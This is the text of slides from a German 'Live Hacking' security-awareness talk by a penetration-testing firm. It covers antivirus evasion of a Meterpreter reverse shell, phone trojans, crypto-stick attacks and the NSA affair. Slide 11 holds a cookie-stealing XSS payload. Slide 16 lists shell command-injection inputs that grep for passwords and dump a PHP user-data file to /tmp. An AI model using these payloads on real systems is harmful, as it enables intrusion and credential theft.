Dipl. Inform. Sebastian Schreiber SySS GmbH Wohlboldstr Tübingen Deutschland

Transkript

1 Live Hacking 18:00 Uhr 19:00 Uhr Dipl. Inform. Sebastian Schreiber SySS GmbH Wohlboldstr Tübingen Deutschland

2 Agenda 1. Einfache Angriffe gegen Shop-System 2. ios-angriff mit Ladegerät 3. Gesperrtes ipad knacken 4. Angriffe gegen vier Krypto-USB-Sticks 5. Handy-Trojaner 6. Virenscanner täuschen 7. SQL-Injections in Barcodes Falls Zeit: 1. Angriffe auf gestohlene Passwort-Hashes 2. Boot-Angriff Windows Laptop 3. Handy-Lock-Code umgehen 4. BIOS-Hack 5. Mogeln bei Moorhuhn Computerspiele knacken 6. SMS-Spoofing 7. EC-Karten und Kreditkarten knacken 8. Klassische USB-Angriffe & Trojaner der Zukunft 2

3 iphone/ipad-hack 3

4 Antivirus Evasion Funktionsweise von Antivirensoftware: 1. Blacklisting 2. Whitelisting Blacklisting-Methoden: Funktionsweise und Schwächen 1. signaturbasiert Suche nach bekannten Mustern unbekannte Schadsoftware kann nicht erkannt werden Polymorphie von Schadsoftware wird seit langem ausgenutzt, um signaturbasierte Erkennung zu umgehen 2. verhaltensbasiert Klassifikation von Programmen in gut- oder bösartig anhand deren Verhaltens üblicherweise regelbasierte Techniken in Kombination mit einem Scoring- Verfahren und festgelegten Schwellenwerten für berechnete Scores (heuristisches Verfahren) statische Codeanalyse Es kann nur der Programmcode anaysiert werden, der innerhalb der ausführbaren Datei unmittelbar zugreifbar ist. dynamische Codeanalyse zur Laufzeit (Sanbox-Umgebung) diverse Einschränkungen der Sandbox-Umgebung (z. B. Zeit, bestimmte Benutzeraktionen [Mausklick, etc.]) 4

5 Live Demonstration Antivirus Evasion Beispiel für Antivirensoftware: Microsoft Security Essentials Kostenloser Schutz vor Schadsoftware für Heimanwender und Kleinunternehmen Nutzt dieselbe Technologie und Scan-Engine wie System Center 2012 Endpoint Protection (früher Forefront Endpoint Protection) Erstellen einer ausführbaren Datei mit bekanntem Schadcode unter Verwendung des Software-Tools ShCoLo der SySS GmbH Einsatz der folgenden Antivirus-Evasion-Techniken: 1. Polymorphie 2. Verschlüsselung + Kompression 3. Erkennung von Sandbox-Umgebungen (Sandbox Detection) Schadcode: Meterpreter-Shell (windows/meterpreter/reverse_https) des Metasploit Framework 5

6 Antivirus Evasion: Testergebnisse Produktname Version Datum der Virendefinitions datei Betriebssystem(e) des Zielsystems Avira AntiVir Professional Windows XP SP 3 (32 Bit) Windows 7 SP 1 (64 Bit) AVG Free Windows XP SP 3 (32 Bit) Kaspersky Endpoint Windows XP SP 3 (32 Bit) Protection Workstation McAfee SaaS Endpoint Protection Microsoft Security Essentials Sophos Endpoint Security and Control Symantec Endpoint Protection Windows 7 SP 1 (64 Bit) Windows XP SP 3 (32 Bit) Windows XP SP 3 (32 Bit) Windows 7 SP 1 (64 Bit) 6

7 SySS Gegründet Angestellte + 2 Externe Sitz in Tübingen Seit 2009 im eigenen Bürogebäude Deutschlandweit und teilweise europaweit/weltweit tätig. Dienstleistungen: Penetration Testing Kunden: HP, Bosch, Bosch-Rexroth, Siemens, European Commission, Union Investment, Grundig AG, Lufthansa, INA/Schäffler, TÜV München, T- Systems, T-Com, Neckermann, Österreichische Nationalbank, Deutsche Flugsicherung, Bundeswehr, SAP AG, BMW, Audi AG, Daimler-Chrysler AG, Transtec AG, LKA Niedersachsen, Schufa, Gebr. Heller Maschinenfabrik, Europäische Zentralbank, Festo AG, Roland- Rechtsschutz, Basler Versicherung, Kodak, Heller Bank, Baader Wertpapierbank, Fielmann AG, Deka-Bank etc. 7

8 Mobile phone trojan Symbian phone SMS forwarding activate the microphone Reboot Location info 8

9 FIPS certifiedcrypto crypto USB sticks 9

10 Brandneuer Angriff auf Krypto-Stick 10

11 XSS <script>window.open(' nt.cookie)</script> 11

12 NSA-Affairevon 2013 Bis 2013 Experten ahnen, dass s abgehört werden ( Spook in Mailprogrammen seit 15 Jahren) Ab 2013 Gesichertes Wissen: 1. Telefonate werden abgehört 2. SMS/Telfonate werden abgehört 3. Die NSA beeinflusst Krypto- Standards 4. Alle Handy-Hersteller arbeiten mit der NSA zusammen 12

13 13

14 14

15 Schutz gegen PRISM, Tempora, KeyScore 1. Abstinenz: Vermeidung elektronischer Kommunikation 2. Bewusstsein 3. Chiffrierung 4. Distanzierung von amerikanischen Betriebssystemen (Android, Microsoft, Apple) und Diensten (Facebook, Gmail, icloud, etc) 15

16 Injections, PHP Magic Quotes 1) 2) Suche nach z.b. SySS 3) Suche nach!" $%&/()=?` 4) Conclusio: PHP Magic Quotes 5) Suche nach SySS $(sleep 4) 6) $(grep -r -i password * > /tmp/passwd) 7) mp/passwd 8) Suchen nach $(cat inc/userdata.inc.php base64 > /tmp/userdata.txt) 9) mp/userdata.txt 16

17 Vielen Dank für Ihre Aufmerksamkeit - Noch Fragen? Schreiber@SySS.de - Material: Schreiber@SySS.de 17

18 Vielen Dank für Ihre Aufmerksamkeit - Noch Fragen? Schreiber@SySS.de - Material: Schreiber@SySS.de - Penetrationstests: Schreiber@SySS.de 18